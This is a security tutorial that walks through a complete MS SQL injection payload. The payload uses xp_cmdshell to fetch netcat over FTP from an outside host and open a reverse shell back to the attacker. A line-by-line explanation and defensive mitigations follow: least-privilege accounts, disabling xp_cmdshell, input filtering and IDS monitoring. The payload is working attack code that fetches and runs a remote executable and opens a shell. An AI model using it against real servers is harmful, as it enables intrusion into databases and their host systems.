The following is a SQL injection payload which can establish a reverse shell from a MS SQL server. At first glimpse this script seems advanced but the scripts are very simple when you look at them step by step. I will briefly go step by step into how this script works. First, the goods…

 

DECLARE @vcFTPOpenCommand as varchar(500);

DECLARE @vcFTPUserCommand as varchar(500);

DECLARE @vcFTPPassCommand as varchar(500);

DECLARE @vcNCCommand as varchar(500);

DECLARE @vcUserName AS varchar(200);

DECLARE @vcPassword AS varchar(200);

DECLARE @vcFTPHost AS varchar(200);

DECLARE @vcAttackerHost AS varchar(200);

DECLARE @vcListenPort AS varchar(10);

SET @vcFTPHost = ' 10.50.251.39';

SET @vcUserName = 'anonymous';

SET @vcPassword = ' This e-mail address is being protected from spam bots, you need JavaScript enabled to view it ';

SET @vcAttackerHost = ' 10.50.251.39';

SET @vcListenPort = '80';

SET @vcFTPOpenCommand = 'echo open ' + @vcFTPHost + '> tempscript.txt';

SET @vcFTPUserCommand = 'echo ' + @vcUserName + '>> tempscript.txt ';

SET @vcFTPPassCommand = 'echo ' + @vcPassword + '>> tempscript.txt';

SET @vcNCCommand = 'nc.exe -e cmd.exe ' + @vcAttackerHost + ' ' + @vcListenPort;

EXEC master.dbo.xp_cmdshell @vcFTPOpenCommand;

EXEC master.dbo.xp_cmdShell @vcFTPUserCommand;

EXEC master.dbo.xp_cmdShell @vcFTPPassCommand;

EXEC master.dbo.xp_cmdShell 'echo bin >>tempscript.txt';

EXEC master.dbo.xp_cmdShell 'echo get nc.exe >>tempscript.txt';

EXEC master.dbo.xp_cmdShell 'ftp -s:tempscript.txt';

EXEC master.dbo.xp_cmdShell 'del tempscript.txt';

EXEC master.dbo.xp_cmdShell @vcNCCommand;--

 

To start off: ‘DECLARE’ statements declare a variable, ‘SET’ statements set the value of a variable, and ‘EXEC’ statements tell the database to run a stored procedure. As a side note, ‘VARCHAR’ or variable character is a data type for MSSQL which is basically a string.

 

What this script actually does is harness a SQL injection point to make an outbound connection from the SQL server to a ftp server, from the ftp server it downloads an executable. In this case, the executable is ‘netcat’. For those of you that are unfamiliar with netcat, check this [ http://netcat.sourceforge.net/ ] out! The script then executes the netcat command establishing a reverse shell connection to the attacker’s system.

 

In this script, I start off by declaring several variables which I use to make the script much easier to adapt to different scenarios. Here is what the variables actually are:

 

vcFTPHost - publicly accessible FTP server which houses the executable which I need to run on the remote host.

 

vcUserName / vcPassword – username and password to the FTP host mentioned above.

 

vcAttackerHost – the attacker’s machine which will listen for the reverse shell connection.

 

vcListenPort – the port to make the reverse shell connection through

 

vcFTP/Open/User/PassCommands – These variable echo text into a text file on the MSSQL server’s hard drive to use as a script for the ftp.exe application which is on any Windows installation.

 

vcNCCommand – the netcat command to be run for the reverse shell.

 

The stored procedure ‘master.dbo.xp_cmdShell’ runs a string as a command on the SQL server’s host operating system, a windows OS. When I am passing a variable to the ‘xp_cmdshell’ command, the value of that variable is run on the OS.

 

This exploit is taking advantage of several problems with the DB (victim) which is being exploited:

1.      The victim’s DB is running as the user ‘system’ on the Windows OS. This is by default on any MSSQL instance that I have seen.

 

The SQL server instance can be run by a user that the DBA/SA specifies. This is very simple to do by going into the services application (under admin tools) on any windows install and changing the ‘logon as’ to a user with less privilege.

 

 

Without system privilege, the attacker would have to escalate their privileges in order to make significant changes to the system such as create/modify/delete users.

 

 

2.      The victim’s DB contains and allows access to the ‘xp_cmdshell’ command. This can be deleted but is on by default (with the exception of SQL2005)

 

Any SQL stored procedure can be restricted from a user by the SQL command ‘sp_configure’. For more information on the ‘sp_configure’ command, check out this man page (http://msdn2.microsoft.com/en-us/library/ms188787.aspx).

 

The DB account which end users of any application interact with should have access to tables and functions as necessary. The more restricted the DB account, the less likely an attack like this and others will be successful.

 

3.      The victim’s SQL injection point, possibly a web application, is not filtering obviously malicious stirrings such as a single quote, semicolons, double dashes, and SQL imperatives such as: SELECT, INSERT, UPDATE, EXEC, DECLARE, etc.

 

This can be mitigated many ways. The first thing an application should do is restrict the accounts in the DB which are being used at possible SQL injection points, see #2.

 

Regardless of how secure a DB has been configured, the best action to take when developing a web application is to be very specific when accepting input from an end-user. If the field is for a zip code, then the application should only accept characters 0-9 and only 5 of them. It is also a effective to make use of a generic attack filtering algorithm. Such algorithms should look for SQL commands, HTML character, and any other possibly malicious data. Making use of a generic attack filtering algorithm, through which all user supplied input is processed, allows for a single chunk of code to enforce the same security across a possibly complex application.

 

http://www.owasp.org is a great place to go and learn about filtering user input effectively.

 

4.      The victim’s web server and/or SQL server is not being monitored by and IDS type solution.

 

An IDS type solution would have likely detected the SQL queries being appended to an HTML input field and flagged it as possibly malicious activity. Even when applications are using HTTPS, it is possible to use an IDS system provided it is between a SSL concentrator and the web server.

 

In the case of an IDS being between the SQL server and the web server and or gateway, it should detect the netcat command and windows commands that make the payload useful. It is also important to note that an attacker could use cryptcat, an encrypted form of netcat to disguise the commands run once a shell has been established.

 

In my opinion, IDS appliances can be very dangerous since they can provide a false sense of security and can be misused.